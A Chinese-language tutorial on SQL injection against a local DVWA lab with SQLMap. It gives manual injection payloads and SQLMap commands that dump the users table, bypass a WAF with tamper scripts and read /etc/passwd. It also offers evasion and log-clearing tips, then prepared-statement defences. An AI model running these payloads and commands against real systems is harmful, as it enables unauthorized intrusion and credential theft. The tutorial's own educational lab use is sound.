1. 实验环境准备与基础概念
在开始SQL注入实验之前,我们需要先搭建一个安全的测试环境。DVWA(Damn Vulnerable Web Application)是一个专门为安全测试人员设计的PHP/MySQL Web应用,它包含了多种常见的安全漏洞,其中就包括我们要测试的SQL注入漏洞。
1.1 DVWA靶场搭建
首先下载DVWA的最新版本(当前为1.10),解压后放置到Web服务器目录中。我推荐使用XAMPP或WAMP这类集成环境:
- 安装XAMPP后,将DVWA文件夹复制到htdocs目录
- 访问http://localhost/dvwa/setup.php进行初始化配置
- 修改config/config.inc.php文件中的数据库连接信息
- 点击"Create/Reset Database"按钮完成安装
注意:在生产环境中切勿安装DVWA,它仅用于合法的安全测试和学习目的。
1.2 SQLMap工具安装
SQLMap是当前最强大的自动化SQL注入工具之一,Kali Linux已经预装了该工具。如果你使用其他系统,可以通过以下方式安装:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version1.3 SQL注入原理简述
SQL注入的本质是攻击者通过构造特殊输入,改变原有SQL查询的逻辑。以DVWA的登录功能为例,正常查询可能是:
SELECT * FROM users WHERE username='admin' AND password='123456'而注入攻击者可能输入admin' --作为用户名,使查询变为:
SELECT * FROM users WHERE username='admin' -- ' AND password='...'--是SQL注释符,这使得密码验证被忽略,直接以admin身份登录。
2. DVWA安全等级设置与初步测试
DVWA提供了四个安全等级(low/medium/high/impossible),我们先从最低级别开始。
2.1 设置安全级别为Low
- 登录DVWA后,点击"DVWA Security"
- 选择安全级别为"Low"
- 点击"Submit"保存设置
2.2 手动注入测试
在开始使用SQLMap前,我们先手动测试注入点:
- 访问"SQL Injection"页面
- 在输入框输入
1'(数字1加单引号) - 观察页面是否报错
如果看到类似"You have an error in your SQL syntax"的提示,说明存在SQL注入漏洞。
2.3 判断注入类型
输入以下测试字符串观察响应:
1' AND 1=1 --→ 应返回正常结果1' AND 1=2 --→ 应返回空结果
这种布尔型响应非常适合SQLMap的自动化检测。
3. SQLMap基础扫描与信息收集
3.1 获取有效Cookie
使用浏览器开发者工具(F12)获取当前DVWA会话的Cookie:
security=low; PHPSESSID=xxxxxxxxxx3.2 启动基础扫描
执行以下命令开始检测:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=xxxxxxxxxx" \ --batch参数说明:
-u:指定目标URL--cookie:提供认证信息--batch:自动选择默认选项
3.3 解读扫描结果
SQLMap会输出类似以下信息:
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [INFO] testing 'MySQL >= 5.0.12 OR time-based blind' [INFO] GET parameter 'id' is vulnerable [INFO] the back-end DBMS is MySQL这表明id参数存在基于时间的盲注漏洞,后端数据库是MySQL。
4. 数据库信息提取技术
4.1 获取数据库列表
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \ --cookie="security=low; PHPSESSID=xxxxxxxxxx" \ --dbs输出将显示所有可访问的数据库,DVWA通常使用"dvwa"数据库。
4.2 获取表结构
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \ --cookie="security=low; PHPSESSID=xxxxxxxxxx" \ -D dvwa --tables这会列出dvwa数据库中的所有表,重点关注users表。
4.3 提取用户数据
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \ --cookie="security=low; PHPSESSID=xxxxxxxxxx" \ -D dvwa -T users --dump这将完整导出users表的内容,包括用户名和加密密码。
5. 高级注入技术与防御绕过
5.1 基于时间的盲注
当页面不显示错误信息时,可以使用时间延迟技术:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \ --cookie="security=low; PHPSESSID=xxxxxxxxxx" \ --technique=T5.2 绕过WAF防护
DVWA的high级别有基础防护,可以使用tamper脚本绕过:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \ --cookie="security=high; PHPSESSID=xxxxxxxxxx" \ --tamper=space2comment5.3 文件系统访问
在特定配置下,SQLMap可以读写服务器文件:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \ --cookie="security=low; PHPSESSID=xxxxxxxxxx" \ --file-read="/etc/passwd"警告:此操作在实际渗透测试中需要明确授权
6. 防御措施与安全建议
6.1 代码层面防护
- 使用预处理语句(PDO或MySQLi):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);- 实施严格的输入验证:
if(!is_numeric($id)) { die("Invalid input"); }6.2 系统层面防护
- 最小权限原则:数据库用户只授予必要权限
- 错误处理:禁止显示详细数据库错误
- WAF部署:使用ModSecurity等Web应用防火墙
6.3 DVWA安全级别对比
| 安全级别 | 防护措施 | SQLMap绕过难度 |
|---|---|---|
| Low | 无防护 | 无需特殊技巧 |
| Medium | 基础过滤 | 需要简单tamper |
| High | 预处理语句 | 极难突破 |
| Impossible | 预处理+CSRF | 几乎不可能 |
7. 实战中的经验与技巧
在实际测试中,我发现以下几个关键点值得注意:
会话管理:SQLMap扫描大型网站时,会话可能超时,建议使用
--keep-alive参数性能优化:对于响应慢的目标,调整
--timeout和--retries参数隐蔽扫描:添加
--delay=1参数可以降低请求频率,避免触发防护机制结果验证:SQLMap有时会产生误报,重要发现应该手动验证
日志清理:测试完成后,记得清理DVWA的数据库日志:
TRUNCATE TABLE dvwa.log;对于想深入学习SQL注入的朋友,我建议从DVWA的各个安全级别逐步测试,观察不同防护措施的效果。同时要理解,SQLMap只是工具,真正重要的是理解背后的原理和防御方法。